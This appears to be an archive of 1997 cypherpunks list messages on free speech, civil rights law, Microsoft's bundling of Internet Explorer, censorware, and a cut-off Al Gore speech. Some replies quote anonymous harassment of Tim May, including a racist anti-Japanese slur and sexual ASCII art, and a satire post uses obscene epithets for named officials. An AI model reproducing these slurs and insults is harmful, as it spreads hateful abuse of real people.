At 9:44 AM -0700 12/3/97, Tim May wrote:

>Labelled speech will be the touchstone for the next couple of decades of
>debate about censorship, hurtful speech, and mandatory voluntary
>self-ratings.
>
>"But you can say anything you wish, provided you voluntarily and accurately
>self-label your words, and provided none of the protected class members are
>offended or insulted."

I should add a brief anecdote about the mind-set these people have.

In the early 90s the city of Santa Cruz, CA, considered an "appearance
discrimination" law. It was aimed at banning discrimination on the basis of
appearance.

The cited examples were of restaurants and other businesses in town which
had rules against employees wearing nose rings, tongue studs, spiky hair,
mohawks, lip piercings, tatoos, scarification, and such things.  And
"weight discrimination," as in the also-famous case of a Santa Cruz health
food store turning down the employment application of a "person of
poundage." (The grossly obese Toni Cassista, who sued the health food store
citing weight discrimination...I believe she eventually settled out of
court.)

Inasmuch as the U.S. has not quite yet reached the point where such
"appearance discrimination" is barred under Title 7 of the 1964 Civil
Rights Act, the city fathers and mothers considered having their own
appearance discrimination law.

It was eventually tabled. Much national attention got focussed on it, as
some of you may recall. ("What will Santa Cruz think of next?")

I attended one of the public hearings, held in the Civic Center before a
crowd of several hundred. Those who spoke pubically, during the hours-long
public input, were apoplectically insistent that thoughtcrime be purged,
that restaurants and other businesses be forced to hire those with extreme
body decoration, piercing, tatooing, and such.

A woman I vaguely knew from science fiction circles, who had divorced her
husband and become a Radical Dyke (tm), summarized the view of the crowd:

"The First Amendment gives these bigots the right to think anything they
wish. But it doesn't give them the right to act on their bigoted thoughts
publically."


This view is, I think, the increasingly common view of the Left: that the
First Amendment is about private thoughts, but that public expressions of
such thoughts, either in published form or in hiring and firing decisions,
etc., is not covered by the First Amendment.

Sadly, if the Civil Rights Act is upheld, they are probably correct. Any
public utterance or publication of certain politically incorrect thoughts
is likely to be viewed as a violation of the "civil rights" of some
aggrieved minority.

(I, of course, would like to see all parts of the Civil Rights Act except
those dealing directly with _governmental_ discrimination against certain
races or gender, struck down. The Civil Rights Act should only be about
government allowing equal access to voting booths, publically-funded
facilities, etc. It should not interfere with a person's right to associate
with whom he wishes, to hire and fire whomever he wishes, and to serve or
sell to whomever he wishes. Without these rights, there is no real freedom.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Thu, 4 Dec 1997 03:07:16 +0800
To: 6ualdv8@sk.sympatico.ca
Subject: Re: 'Off' the parking pigs!
In-Reply-To: <3.0.5.32.19971202122124.007a4b60@otc.net>
Message-ID: <3.0.5.32.19971203104104.007cbd60@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



At 04:31 PM 12/2/97 -0600, TruthMonger wrote:
>David Honig wrote:
>> relevant to anon remailers & society thread...
>
>> SANTA ANA, Calif., Dec. 2 (UPI) _ Saying the case has national importance,
>> federal prosecutors will
>> retry a 20-year-old man accused of sending threatening electronic mail to
>> Asian students at UC Irvine.
>
>> Stotler denied bail for Machado, noting that he fled to Mexico when he was
>> first charged.
>
>  Are we supposed to feel 'safer' in public, knowing that we may be
>surrounded by people to whom it may be worthwhile to kill a few cops
>and innocent bystanders in order to avoid punishment for sending 
>nasty email, or having an unpaid parking ticket?

Turn the facetiousness down a notch, Monger-san.  This moron sent death
threats to individuals.  Its stupid that Fed "hate mail" laws inflate
the case, when its already a death-threat case, and its stupid that it gets
press because its the internet, but hey, this is the 90's.

It is pretty reasonable IMHO to hold people responsible for direct threats
when AND ONLY WHEN they can be traced to them (duh).

As for the loser in question, 'fleeing' to Mexico is an short drive from
Irvine,
its not like he actually had to pull some desperado stunts that would have
endangered others.

I'm frankly surprised Machado (or his presumably more intelligent
attorneys) didn't try
to deny sending the messages ("I left my terminal to go potty").  (This may
have to do 
with the technical circumstances of his capture, of which I'm unaware.)
But if the messages
were traceable, I've not yet read a (usually brilliant) <T>Monger rave
wherein you argue
that personal responsibility for threats is a null concept.




------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Thu, 4 Dec 1997 03:16:01 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <v0300780cb0ab2a8bef6c@[204.254.21.129]>
Message-ID: <3.0.5.32.19971203104756.007e9320@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



At 09:44 AM 12/3/97 -0700, Tim May wrote:
>At 8:42 AM -0700 12/3/97, Declan McCullagh wrote:
>>This is nothing new. Honest (self-identified) leftists like my friend Bob
>>Chatelle complain about the censors on the left almost as much as censors
>>on the right. Other fave leftist censorship causes:
>>
>>-- MacKinnonite antiporn laws (she's a self-identified Marxist, I recall)
>
>And her partner, Andrea Dworkin, belies the oft-quoted notion that someone
>so far to the left comes out a libertarian rightist. No, this chick Dworkin
>is so far left she's just plain _left_. She argues that porn for womyn (or
>is it wimmin?) is fine and dandy, because this represents lesbian
>sisterhood exploring their own blah blah blah, but porn aimed and directed



What you watch is pornography;
What I watch is erotica.






------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 4 Dec 1997 00:02:35 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: More microsoft monopoly::Re: NT 4.0 Option Pack released (fwd)
Message-ID: <Pine.SUN.3.96.971203104659.18987C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



Microsoft has now broken up the Service Packs into Bug Fix and Option Pack
(new feechures) packages.

However the catch is this: they require you to have Internet Exploiter
4.01 installed *BEFORE* you can install the Option Pack (whose features
have little to do with Internet Exploiter, though they are part of the
IIS web server.  For example RAIDUS Remote Access Authentication has
nothing to do with Exploiter.)

IMHO: This is a cheap shot at making their browser more "incorporated"
with the OS, that way they can get around the Justice Dept.  :(  Lame.
Another message claims VC++ requires IE as well -- can anyone confirm
this?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================

---------- Forwarded message ----------
Date: Wed, 3 Dec 1997 08:08:57 -0500
From: Russ <Russ.Cooper@RC.ON.CA>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: NT 4.0 Option Pack released

FYI, the final release of the NT 4.0 Option Pack has been posted, you
can get full details at;

http://www.microsoft.com/ntserver/default.asp

For those that aren't already aware, Microsoft has split the old Service
Pack into two components. One is the Option Pack, which includes new
features and functionality, while the Service Pack will be kept to bug
fixes or patches only (or so they say, we still haven't seen what this
new SP will look like).

Amongst other things, this first release of NTOP includes;

IIS 4.0
Microsoft Transaction Server 2.0
Microsoft Message Queues 1.0
Microsoft Certificate Server 1.0
Internet Connection Services for Microsoft RAS (Radius)
Microsoft Site Server Express (Web Usage and Content analysis/reporting)
Internet Explorer 4.01

These components will now ship on a separate CD included with NT.

Its important to note that IE4.01 *must* be installed prior to
installing any of the NTOP components.

Cheers,
Russ



---------- Forwarded message ----------
Date: Wed, 3 Dec 1997 17:05:35 +0200
From: "Juha [ISO-8859-1] Jäykkä" <juolja@utu.fi>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Re: NT 4.0 Option Pack released

> Its important to note that IE4.01 *must* be installed prior to
> installing any of the NTOP components.

  And MSIE must be installed before installing Visual C++.. Soon we hav=
e it
that MSIE must be installed before TCP/IP is installed... and then befo=
re NT
in installed! Is there no limit to this??? Is there any way to prevent =
MS
from *FORCING* us to install MSIE - other than boycott all MS products
entirely (with NT5 it would seem that we have to boycott even the OS to=
 save
ourselves from MSIE)???
  Sorry the bitter tone - I just don't like programs that require me to
install yet another program which I don't want to install.

--=20
                 -----------------------------------------------
                | Juha J=E4ykk=E4, juolja@utu.fi                        |
                | home: http://www.utu.fi/~juolja/              |
                | pgp-key: http://www.utu.fi/~juolja/pgp.txt    |
                 -----------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 4 Dec 1997 00:34:46 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <1.5.4.32.19971203113613.00843ef8@idt.net>
Message-ID: <3.0.2.32.19971203112519.006ecdcc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:42 AM 12/3/97 -0500, Declan McCullagh wrote:
>This is nothing new. Honest (self-identified) leftists like my friend Bob
>Chatelle complain about the censors on the left almost as much as censors
>on the right. Other fave leftist censorship causes:
>

Not to forget the CPUSA's long time platform plank that promised to make 
racisim a crime punished by imprisonment.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNIWH6oVO4r4sgSPhAQH7YwQAo/vMb7hqDMQ/6GP+gBXtruClj31qstbx
mBSrb8VG8+9ZQO8/Tl8zY3h2FzRKea/sOQIlhpVeD2kryQUyqc2D6z79dklru5vu
D7b5iJEY1na8xkQW/c3nD3ejsJRQ/5kjcNcZBQ4zxG/jM95B0tt3Wmn4B0/uMmid
bJZDE0fMMEQ=
=9qf9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <Use-Author-Address-Header@[127.1]>
Date: Thu, 4 Dec 1997 00:58:36 +0800
To: mail2news@basement.replay.com
Subject: Another of Gary Burnore's Lies Exposed (was: Re: not so fast Re: Kudos to NETCOM!)
In-Reply-To: <3484fa3f.15802574@nntp.best.ix.netcom.com>
Message-ID: <1d7856cec219ec3624f40522eef1457b@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



"Sam" <sam-001@dpinc.ml.org> wrote:

> In article <3485813d.117631170@nntp.best.ix.netcom.com>,
>         gburnore+NOspam@netcom.com (Gary L. Burnore) writes:
> 
> > On 2 Dec 1997 14:59:30 GMT, "Sam" <sam-001@dpinc.ml.org> wrote:
> >
> >:Found it:
> >:
> >:Subject:      Re: Burnore forgeries easily solvable
> >:From:         Sam <sam-000@usa.net>
> >:Date:         1997/07/10
> >:Message-ID:   <5q3ms3$phq@chronicle.concentric.net>
> >:Newsgroups:   comp.org.eff.talk,alt.privacy.anon-server,alt.anonymous,alt.anonymous.messages,alt.censorship,news.ad
> >:  
> >:  
> >   
> >   
> > Nice try Sam but no go.
>     
> Not so fast.  In the message that this was a follow-up to,
> <gburnoreED2z89.GHs@netcom.com>, your own exact words were:
>     
> >                                      This one dated 9 July 1997
> > is a good example.  See the forged from line?  Ths did not come from
> > mmdf@databasix.com
> 
> Well, no matter how you look at it, it was.  It did came from
> mmdf@databasix.com.  There was no forgery.  And that was precisely the
> point of my initial post.  I cannot believe that someone who is supposed to  
> administer a mail server cannot recognize an auto-ack generated by his own
> machine, instead insisting that the message came from a third party, forged  
> with his return address. 
> 
> This puts all other claimed forgeries from a mail2news gateway, that you
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> have taken an issue with, and used as a basis to form your claims against
> UCE-baiting, and such, as suspect.
                         ^^^^^^^^^^

You've noticed that too, huh?  Gary Burnore's "big lie" technique depends
upon his claims being retold over and over, by himself and his associates
such as Belinda Bryan <eridani@ix.netcom.com>, WITHOUT SERIOUS ANALYSIS
like yours, in order to be believed.

Gary's continuous whining about "forgeries" is becoming pathetic.  In his
haste to falsely claim that something was "forged" he missed the fact that 
the claimed "forgery" was traceable back to HIS OWN SERVER.  He shot himself
in the foot trying to frame the remailers this time.  What would be the
point in trying to forge a Usenet post to make it look like it came from 
"mmdf@databasix.com", anyway?

Gary Burnore's forgery allegations against Mailmasher are similarly 
suspect.  First of all, before planning the attack, somebody apparently 
didn't do his homework, or he'd have realized that Mailmasher was a 
web-based 'nymserver, not a remailer.  Despite being challenged to do so, 
Gary has never been able to produce a single piece of documentation showing 
that Mailmasher ever had the ability to paste From: headers.  The "evidence" 
that was posted had truncated Path headers that stopped at the mail2news 
gateway and contained "X-No-Archive" headers, just as Gary's own posts do, 
presumably to explain why none of these posts is independently available 
from third-party archives for verification.  If the posts even existed in 
the first place, they are more likely to have been generated from a 
Netcruiser account, complete with headers designed to frame Mailmasher, 
than from Mailmasher itself.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Dec 1997 04:49:57 +0800
To: David Honig <honig@otc.net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <v03102813b0ab38f3a815@[207.167.93.63]>
Message-ID: <v03102815b0ab622f5822@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:47 AM -0700 12/3/97, David Honig wrote:
>At 09:44 AM 12/3/97 -0700, Tim May wrote:

>>And her partner, Andrea Dworkin, belies the oft-quoted notion that someone
>>so far to the left comes out a libertarian rightist. No, this chick Dworkin
>>is so far left she's just plain _left_. She argues that porn for womyn (or
>>is it wimmin?) is fine and dandy, because this represents lesbian
>>sisterhood exploring their own blah blah blah, but porn aimed and directed

>What you watch is pornography;
>What I watch is erotica.

Indeed, and in a wonderful case of schadenfreude, when the
Dworkin-MacKinnon anti-porn law was enacted in Canada, "Lesbitan Erotica"
bookstores and publishers were shut down. (I believe this was in Toronto,
and it may have only been in that city or region that the law was enacted,
not in all of Canada. Toto can clarify.)

Predictably, the feministas squealed like stuck pigs (or is it pigesses?).
They claimed that the law was intended to block "male uses" of certain
images, not uses by womyn and other exploited peoples.

Be careful what you wish for, double-edged swords, and all that.

When will they learn that the simple cure to such double-edge swords is not
passing  authoritarian laws in the first place?

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Canadian Nutly News <cnn@dev.null>
Date: Thu, 4 Dec 1997 03:03:42 +0800
To: cypherpunks@toad.com
Subject: Khristian Kult Killings
Message-ID: <3485A585.BFD@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[CANADIAN NUTLY NEWS-Bienfait, Saskatchewan]AN ASSORTMENT OF POLITCAL
criminals from Washington, DC, held a press conference at the Coaldust
Saloon last night, with the main topic of discussion being the gangland
battles between rival Christian cults.
Bill Clinton expressed dismay over secret intelligence reports that
not only were the Christian gangs widely dispersed throughout the
school system, but that there was evidence of involvement by many
teachers and school administrators, as well.
  "Many of these cults have beliefs very similar to the Heaven's Gate
cult, with their members involved in preparing to participate in an
exiting of the physical plane in a similar manner, and the eventual
overthrow of democratic government in all countries, led by their
currently exiled guerilla leader."

Lying Jackoff Fuck Louis J. Freeh stated that more crimes are committed
in America by followers of the Christian cults than even the large 
number committed by people with Italian names.
"The problem is enormous." Freeh stated. "Many of the children are
committed to these gangs by their parents, almost from birth. It is
not surprising that the kids seldom manage to escape the grip of these
cults, even as adults."
Murdering Nazi Cunt Janet Reno stated that BATF agents had informed her
that Christian cult members throughout the U.S. were in possession of
more weapons than members of the paramilitary. "The real threat of
having weapons in these people's hands is that, like most paramilitary
members, they don't regard the Federal government as being the supreme
authority."

Anonymous sources at the scene of the recent cult slaughter at a high
school in Kentucky confirmed that several copies of a popular cult
manifesto were found in the homes of both the shooter and the dead
participants in the bizarre ritual. The manifesto, which is vastly
more subversive and violent than books such as "The Turner Diaries,"
is often referred to by cult members in oblique coded-language as 
simply, "The Book."
Bar maids and local drunks at the Coaldust Saloon denied the rumors
that the book, known as the Word of God to most cult followers, was
actually one of the early manuscripts of the author of 'The True
Story of the InterNet,' and that 'God' was nothing more than a thinly
veiled anagram for 'Dog', representing one of the author's many 
nefarious aliases. However, A Sorry Drunk To Be Named Later informed
gathered reportwhores that if Christian cult members around the world
sent their tithes, in cash, to PO Box 281, Bienfait, Saskatchewan,
that they would be assured a space on the spaceship approaching 
earth in the shadow of comet Khrist-Bop-Shoo-Bop.
(When pressed for details as to the time of arrival of the mythical
 space aliens worshipped by the cult, A Sorry Drunk To Be Named Later
 merely winked and said, "Let's just say that cult members will be
 swept up into another dimension on the same day as their computers.")

Canadian Nutly News sources confirmed earlier today that the shooter
in the ritual slaughter at the high school in Kentucky was wearing a
T-shirt with a radical cult slogan often used to whip cult members
into a violent frenzy, "He was clothed with a robe dipped in blood,
and His name is called The Word of Dog."

~sog~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 4 Dec 1997 04:15:15 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: RSA
In-Reply-To: <199712021055.LAA19014@basement.replay.com>
Message-ID: <Pine.A41.3.95.971203124145.49644A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 2 Dec 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C[retin] May studied yoga back-streching 
> exercises for five years so he could blow 
> himself (nobody else will).
> 
>      (((>     /<
>     (        /
>      ((({{{{{:<  Tim C[retin] May
>              \
>               \<
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 4 Dec 1997 03:49:53 +0800
To: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Subject: Re: your mail
In-Reply-To: <w4FnYp21JUztmSlzCwfrqQ==@bureau42.ml.org>
Message-ID: <Pine.A41.3.95.971203124325.49644B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 2 Dec 1997, bureau42 Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy C[...] May is a slant-eyed, rice-gibbling jap in a redneck disguise.
> 
>              ---._.---
>             /    |     \
>            /     *      \
>           (      @@      )
>           /   _/-||-\_   \
>          /   '/  ||  \`   \
>         /    /   ()   \    \
>        /    /|        |\    \
>        /   / |        | \   \
>       /   / /  o    o  \ \   \
>      /   /  (          )  \   \
>      <_ ' `--`___'`___'--' ` _>
>     /  '~~---   / = \  ---~~`  \
> ,,,/  /        (  v  )       \  \,,,
> \ /  /        @|-' '-|@       \  \ /
>  \__/          //////          \__/
> 
> 
> Dave Smith bends over for Gary Burnore, Paul Pomes, and the rest
> of the Databasix gang.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Dec 1997 05:14:04 +0800
To: David Honig <declan@well.com>
Subject: Re: CDT and the Threat of Gov't Intervention
In-Reply-To: <v03007806b0aaa1dbbe69@[204.254.21.129]>
Message-ID: <v03102816b0ab657d1ee8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:00 AM -0700 12/3/97, David Honig wrote:
>At 12:46 AM 12/3/97 -0500, Declan McCullagh wrote:
>>Besides demonstrating that cyberporn is a topic that will
>>never disappear, the Kids and the Net summit has
>>highlighted the tensions between the different types of
>>Net-advocacy groups here in Washington.
>
>
>I'm sure the Feds are happy that their Good Cop (Clinton) / Bad Cop (Freeh)
>routine
>is having the divisive effect they planned, and making sacrifices seem
>acceptable.

And made many people clamor for self-policing software.

I have always advocated filtering and self-selection of articles,
magazines, television, movies, restaurants, etc. As such, Web filters are
fine things. If one _only_ wants to read articles favorable to Scientology,
or critical of Catholics, or catering to certain sexual interests, hey,
find some filter services or program your own....

However, the drumbeat is being heard that such filter services may not be
fully "voluntary," inasmuch as the Government is "assisting" in their
development, as the current confab shows. (One wonders what the reaction
would be if Bill Clinton, Ira Magaziner, and other government officials
helped organize a conference on how *religions* can help police themselves
and avoid incorrect thoughts? "Churches must learn to police themselves and
avoide heresies, so that government action will not be needed.")

And there are some who want "mislabelling" made a crime. Thus, if I claim
that my site and my words are suitable for children, and someone (like
Janet Reno) disagrees, I could be charged with "misrepresentation."

This is a wedge to demolish free speech, this "accuracy in labelling"
business. Religions could be forced to "accurately label" their messages.
Speech could be shut down while courts debate whether "misrepresentation"
occurred. As the saying goes, "What is truth?"

And even if truth can be determined, truth is not a requirement for free
speech. (Truth in courtrooms and in contract situations are of course
different situations than ordinary free speech, in speaking, writing,
publishing, and broadcasting.)

(Yes, I am opposed to FDA and SEC rules on truthful speech, unless
contracts are involved. If Joe wants to advertise his Magic Elixir, let
him. Reputations and ratings services (truly free ones, that is) are the
key to bad speech.)

So, the government should just bow out completely, as it is inappropriate
for government to be involved in any way with speech rating.

"Congress shall make no law..." should really be interpreted as "Government
should not get involved at all in...."

But of course government has wiggled and connived its way into speech in
many ways. From the catch-all excuse of "regulating commerce," to the
increasing number of restrictions on commercial speech, on speech in
violation of Title 7 of the Civil Rights Act, to selective prosecution for
threats and RICO conspiracy and on and on....


--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 4 Dec 1997 05:13:05 +0800
To: David Honig <honig@otc.net>
Subject: Bad Cop, Worse Cop / Bum and Bummer / Re: CDT and the Threat of Gov't Intervention
In-Reply-To: <199712021617.LAA28265@arutam.inch.com>
Message-ID: <3485B272.16C7@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



David Honig wrote: 
> At 12:46 AM 12/3/97 -0500, Declan McCullagh wrote:
> >Besides demonstrating that cyberporn is a topic that will never 
> >disappear, the Kids and the Net summit has highlighted the tensions
> >between the different types of Net-advocacy groups here in Washington.

> I'm sure the Feds are happy that their Good Cop (Clinton) / Bad Cop (Freeh)
> routine is having the divisive effect they planned, and making sacrifices
> seem acceptable.

  Yes, but Freeh is now positioning himself to be best pals with the
incoming Republican President.
  Would _you_ vote for a politician whom the FBI Director has implied
is part of a criminal tag-team that deserves investigation by a
special prosecutor? A politician whose previous running mate was
embroiled in WhiteWATER and FosterGATE at a time when hard evidence
that a former president was GUILTY in WATER-GATE is coming to the
fore?

"Vote for the manipulated public image of your choice, but vote."

  Our 'democracy' is run by Information Management Engineers. 

Or so I would have you believe...
TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 4 Dec 1997 05:51:08 +0800
To: cypherpunks@toad.com
Subject: Transcript of Gore's remarks at "Censorware Summit"
Message-ID: <Pine.GSO.3.95.971203132704.17621F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



This is a transcript of Al Gore's remarks (not his prepared remarks, but
his actual remarks) at the "Censorware Summit" yesterday. --Declan

***********

	REMARKS BY VICE PRESIDENT AL GORE
	AT THE INTERNET/ONLINE SUMMIT
	INTERNET/ONLINE SUMMIT:
	FOCUS ON CHILDREN
	RENAISSANCE HOTEL
	999 NINTH STREET NW
	WASHINGTON, DC
	TUESDAY, DECEMBER 2, 1997

	VICE PRESIDENT GORE:  Thank you, Christine.  Thank you, ladies and
gentlemen.  Thank you.  Thank you very much for your warm welcome.

	And Christine Varney, I want to thank you for your kind
introduction.  And I want to tell you how much I appreciate your
friendship over the years, and how much President Clinton and I appreciate
the outstanding work that you did in the White House and the Federal Trade
Commission and as a leader in so many ways.  And that leadership is
demonstrated again as you chair this Internet/Online Summit.

	Let me also thank and congratulate co-chair Bill Burrington and the
summit host, Steve Case of American Online, and host Dan Schulman of AT&T
and Laura Jennings of Microsoft and Jake Weinbaum (sp) of Walt Disney and
Dan Oakrent (sp) of Time Warner.

	And I want to acknowledge with special praise my colleague in
President Clinton's Cabinet, the secretary of education, Richard Riley, who
will speak after I do.

	I want to thank the students of Hind (sp) Junior High School here
in the District of Columbia and Rocky Run Middle School in Fairfax,
Virginia; Rock Creek Valley Middle School in Maryland; and Du Fief (sp)
Elementary School in Maryland.  These kids who are behind me took part in
an Internet demonstration in an adjacent room just before this morning's
session, and I was very, very impressed with all of the things they showed
me and their skills and their teachers and their librarians.

	And I want to thank all of you for inviting me here today and
congratulate you for this summit.  The president and I hosted a meeting
back on July 16th, with many of those who are leaders of this summit.  We
challenged the industry to move forward.  This independent initiative which
has been undertaken is, I think, most impressive and a very, very important
step forward.

	Your interest in expanding the vast opportunities and living up to
the growing responsibilities of the Internet is admirable.  I'm pleased to
be here today to outline some objectives and announce some important
initiatives to help make this exciting new tool safe for our children.

	Both the president and I have long been convinced that the Internet
is not a luxury or a diversion; it is an essential tool for children.  And
its use is fast becoming an essential skill for adults. That is why we're
committed to connecting every classroom and school library to the Internet
by the year 2000.  We have already connected 65 percent of our schools in a
very short period of time.  We're ahead of schedule in meeting our broader
goals.

	Earlier this morning, as I mentioned a moment ago, I heard some
more reasons why we should encourage our young people to get on-line. The
parents and children that are behind me, and their teachers and librarians,
told me about how their families use the Internet.  The high value these
parents place on their children's Internet explorations is more proof that
the Internet offers unsurpassed opportunity for our children and also for
the businesses that can serve this fast-growing market.

	You know, throughout the history of our civilization, we have
learned how to store knowledge outside of our own brains, first in spoken
language and then in written language, in culture and its various
manifestations, including song and dance.  And then with the invention of
the printing process, the ability to store knowledge outside the brain grew
by leaps and bounds.  The Electronic Revolution further advanced this
process.

	But now the Internet allows our civilization to take a quantum leap
forward, dramatically changing the way we relate to this rapidly growing
amount of knowledge that's stored outside the brain and is accessible to
people all over the world.  And as our children go through the learning and
acculturation process, it is absolutely essential that they learn how to
use the Internet, just as it became essential for children, in the learning
process, to learn how to read books when the print process was first
invented.

	Ten million children are already on the Internet, and that's four
times as many as just a few years ago.  In a short time, more young people
will be connected to the Internet than any other segment of the population.
And yet the parents I talk to express deep concerns about Internet content
they consider inappropriate for children.  They made it clear that if the
Internet industry hopes to serve the interests of America's children, it
must first gain the trust of America's parents. That is why this
administration has charged the Internet industry with taking the
responsibility and taking the lead for making the Internet safe for
children.

	You have taken some important and impressive first steps.  I want
to congratulate you for your efforts in this area - the search engines, the
